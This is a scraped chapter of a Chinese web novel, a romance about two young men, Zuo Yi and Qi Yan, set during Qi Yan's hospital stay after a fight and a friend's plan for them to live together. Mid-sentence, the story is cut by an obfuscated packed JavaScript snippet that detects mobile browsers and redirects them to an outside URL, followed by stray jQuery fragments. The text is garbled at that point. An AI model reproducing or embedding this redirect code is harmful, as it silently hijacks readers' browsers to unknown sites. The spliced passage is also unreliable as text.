荔枝冰酿 作品

30.同居2.0

“多大的人了,睡觉还要人陪。”祁言宠溺地说道。


左屹的下巴搁在祁言的右肩,双手自然地环住他的腰,闭着眼睛说:“你不在家,我一个人会胡思乱想,让我留在这里好不好?”


要是祁言今天真出了事,他一定会真的杀了那个人,谁都拦不住。


祁言是他的信仰,左屹不允许任何人伤害他心中的神明,即使是自己,也不能被原谅。


亵渎神明,会受到惩罚。


祁言:“你先答应我,以后不要再冲动了。”


“好,我答应你,你说什么我都答应你。”


祁言笑着问:“是吗?那我现在让你回家睡觉,你也答应?”


“不答应。”


“赖皮鬼。”


这场拥抱持续了很久,久到病房熄了灯,只剩下一盏小夜灯照着病床上相拥的少年。


小孩真的吓到了。


夜晚,左屹和祁言挤在一张单人床上睡觉,左屹怕挤到祁言的伤口,自己背对着祁言侧身睡在边边上,稍微翻个身就能掉下去。


祁言怕他睡着之后忘了,翻身摔下床,便说:“睡里面来。”


左屹假装没听到。


“小屹,转过来。”祁言蛊惑的声音传到左屹耳朵里,搅得他心乱如麻。


左屹鬼使神差地转过身去,和祁言面对面。


祁言盯着左屹微微颤抖的长睫毛说了句:“病房有点冷。”


“啊?”


左屹睁开眼,没反应过来祁言的意思,身体已经被他捞过去,两人的身体紧紧贴在一起。


“抱着睡暖和。”


左屹能感受到祁言胸口因呼吸的起伏,温热潮湿的雾气喷洒在他的额头,弄得头皮痒痒的。


不过,真的暖和了不少。


被子下面,祁言的手臂搭在左屹的胯上,温度逐渐在升高。


左屹的身体僵硬地一动不敢动,更是睡不着。


祁言强忍着笑意,将搁在左屹胯上的手摩挲着他的身体一路往上。


“言,言哥。”左屹忍不住想制止他玩火的行为。


可是,转念一想,这事对祁言这个直男来说并不是玩火啊。


祁言的手一路滑到左屹的颈侧,又顺着下颌线滑到他的鼻尖。


“有没有人告诉过你,你鼻尖上的这颗小黑痣,很可爱。”


祁言的食指一直摸着这颗痣,是很小的一颗所以并没有凸起。


“没有。”左屹吞咽了一口口水。


“那现在我告诉你了,请问能申请奖励吗?”祁言问。


左屹不明白,问道:“你想要什么奖励?”


祁言担心自己今晚心急了些,怕吓坏小孩,于是说:“没想好。”


“好的吧,那你想好告诉我。”


左屹心道,你想要什么奖励我都给你。


早上护士查房,发现床上有两个男人抱在一起熟睡,还以为是眼睛花了,祁言被护士推护理车的声音吵醒,看着怀里睡得脸颊红扑扑的左屹,不悦地对她做了个噤声的手势。


护士接收到病人的提醒,放轻了手上的动作,和祁言量过体温之后,交代了几句一会要做的检查才离开。


左屹一直睡到祁言做完检查回来。


“后肋骨骨裂?”左屹拿着祁言的检查结果,坐在床上惊讶道。


祁言点了点头。


“那群狗东西,竟然给你砸成骨裂。”左屹愤愤发泄极度不爽的情绪,“再让我看见那傻逼,老子把他的肋骨全给卸了!”


“小屹,我只是轻微骨裂,不严重。”祁言皱了皱眉头。


他不希望左屹再和社会上的混子接触,所以没有告诉左屹被他打伤的那个男混混就住在同层病房里,他也担心那个混混出院后会继续找左屹的麻烦,回病房前特意去那间病房找了混混的老婆,所幸那人老婆还算通情达理,在看完他肋骨骨裂的检查报告后,不仅没有开口要赔偿,反而替丈夫给祁言道了歉。


丁文笑听说了这件事,扎着双马尾穿着一身洛丽塔赶来医院,当她出现在病房门口的时候左屹喝的一大口水全喷了出来,祁言靠坐在床上,看似面无表情,其实嘴角也肌肉痉挛般微微抽了抽。


左屹实在忍不住狂笑,揪着丁文笑的辫子问:“笑姐,您这是在玩cosplay?”


左屹觉得好笑并不是因为洛丽塔不好看,而是这么一条精致的洛丽塔穿到丁文笑身上就像土匪身上套了件西装,风格完全不搭嘎。


还是机车服更适合她的风格。


丁文笑插着腰,她午饭都没吃往这跑,结果还被嘲笑,气得她脸都憋红了。


“笑屁啊,这裙子是我接的广子,上午正好在拍视频,没来得及换衣服就来了。”


丁文笑喜欢在社交平台上分享自己的美妆和穿搭,累积了小几十万的粉丝,平时一边兼顾学业一边拍拍视频,每天都很忙碌,他们三个每天在群里眉飞色舞地聊天聊地,却很难见上一面。


“不用换!这身非常适合你,简直让我们大开眼界了。”左屹朝祁言挑了个眉问,“是吧?”


“嗯。”祁言宠溺地附和。


丁文笑不想跟穿同一条裤子的俩人辩论,直接切入主题:“行了你俩,说说到底怎么回事吧?”


自从陈姨去世,丁文笑几乎担任了长辈的职责,每天在群里对两个人嘘寒问暖,凡事问得事无巨细。


本来左屹和祁言两人十分默契地决定这事瞒着丁文笑,可左屹一进派出所手机就被没收调查,丁文笑发来的消息和电话一个没接上才引起了她的怀疑。


直到上午,祁言做检查的时候接了她一通电话,检查室叫祁言的播报恰好被电话那头的丁文笑听个正着,眼见是瞒不住了,在她的逼问下祁言选择了和盘托出。


左屹声情并茂、手舞足蹈地跟丁文笑讲清楚了事发经过。


“妈的!”丁文笑豪迈地往椅子上一坐,“你们俩真是…一个关键时候犯浑,一个关键时候犯蠢!”


左屹脸沉下来,问道:“笑姐,你这什么意思?”


丁文笑:“对方明显人多势众,在你的地盘闹事,不知道摇人?非得单枪匹马跟人家硬干,浑不浑?”


左屹、祁言:“……”


丁文笑将眼神又对向祁言道:“那人都拿石头了,竟然不懂得利用自己的先天优势给他一脚踢飞,非得拿身体硬抗顿砸,亏你还有这么一双大长腿,关键时刻犯蠢,还学神呢祁言。”


左屹、祁言:“……”


不得不说,她这思考角度好清奇。


左屹和祁言对了个眼神,这确实是他们没考虑到的。


丁文笑看着他们跟吃了屎一样的表情,翻了大白眼问道:“言哥,你这伤要在医院住多久院?”


“我的伤没那么严重,轻微骨裂下午可以出院,还在等两个报告结果。”祁言回答。


“行!你,”丁文笑指着左屹,命令道:“跟学校申请最少一个月的校外居住的请假条,然后搬言哥家去。”


“??啊?”左屹惊讶,“为什么?”


祁言脸上多了一抹明显的笑意。


“啧,问的什么废话,那群人能是善茬吗?”丁文笑坐着轻踹了左屹小腿一脚,“再说,言哥是因为你骨裂的,你不照顾他难道要我住过去照顾?”


左屹本来还想反驳,听到她说的最后一句


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197055|165086||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


,连忙制止:“那怎么行!”


祁言说:“笑笑的安排我觉得挺好。”


“还有,你,”丁文笑又指向祁言,“餐厅那活别干了。”


“?”祁言疑惑,“为什么?”


丁文笑又“啧”一声,“伤筋动骨一百天,不宜劳累,你一天天算微积分、编程、天体物理的还不够累?”想了想,她又补充了一句,“你又不缺钱,餐厅是有你对象在吗,这工非打不可?”


祁顿时哑口无言,心里反驳没有对象,可是有他喜欢的人在。


左屹说:“笑姐的安排我觉得很合理。”


“行,既然都没异议,那就这么办,”丁文笑很满意自己的安排,觉得自己简直是个又酷又拽的小天才,“我先下去找点吃的,你们该请假的请假,该辞职的辞职。”


祁言要辞掉餐厅的工作,那么意味着左屹也要辞掉了,一时左屹有些犹豫,毕竟就得留冯桑一个人在那打工了,保不齐冯志行出来还会去找他麻烦。


祁言似乎看懂了眼下左屹犯的难,“冯桑有和你联系吗?”


左屹猛然一拍手,说道:“对了,昨天我和梁一师兄说了冯桑在派出所,不知道他们现在什么情况!!”


想了想,左屹还是拨通了冯桑的电话,结果出现的是梁一那玩世不恭的声音:“小师弟,现在打电话过来干嘛?”


“梁一!!你接我的电话干什么?”冯桑明显有些不耐烦。


左屹开的扩音,声音一旦放大就能从中捕捉到一些令人脸红的细节,比如冯桑嘶哑的嗓音和床架摇晃的吱呀声。


他尴尬地问:“那个,我这通电话是不是打扰到二位了,要不你们先忙?”


左屹说完就要挂,被冯桑制止:“别挂,别挂。左屹,昨天从派出所出来已经很晚了,我怕你休息了就没再打扰你,今天我没机会拿手机所以……”


“没事没事,理解理解。”


“对不起,左屹,因为我的事连累了你和祁言,真的对不起,祁言他伤得重吗?”冯桑越说声音越哽咽,这件事发生地始料未及,他也一时乱了阵脚,现在想起来昨天明明可以处理得更好的,偏偏弄成了这样,冯桑后悔得要命。


左屹不怪冯桑,毕竟那是他亲爹,以冯桑的性子怎么样也没办法对亲爹太狠心,所以才会一直被拿捏,“真的没事冯桑,言哥受了点伤,回家休养休养就能好,你也别太自责。”


一通电话聊了近半个小时,冯桑一定要承担祁言的医疗费,左屹和祁言怎么都推脱不掉只能依他的来。


不过餐厅打工这事,冯桑也打算离职,一是这个地方已经被冯志行知道了,再者是梁一说什么也不允许他这样辛苦,软磨硬泡非让他离职。


后来左屹又和辅导员发消息说了一下情况,昨天那事校方也听到了些风言风语,左屹的行为算是见义勇为,辅导员出于综合考虑便也没有太为难他。


这样的话,左屹和祁言也顺利完成了丁文笑安排的任务,该请假的请假,该离职的离职。


在办理出院手续的时候,左屹面露难色,小声在祁言的耳边问:“言哥,要不我住次卧?床我可以自己买!”


祁言眼神垂下来,黑长的睫毛遮了一半眼珠问道:“和我睡一张床上让你很为难?”


左屹哪能看他哥这么无辜的样子,连连摆手,“不是,不是,”他解释道:“就是说气血方刚的成年男人总是需要点私人空间嘛!”


祁言面露难色,“可是次卧我打算有空改造成书房,你知道的,我的专业学起来挺麻烦的。”


“你们俩嘀嘀咕咕在聊啥?”丁文笑咬着棒棒糖回头,结果用力过猛,双马尾刚好呼到左屹脸上。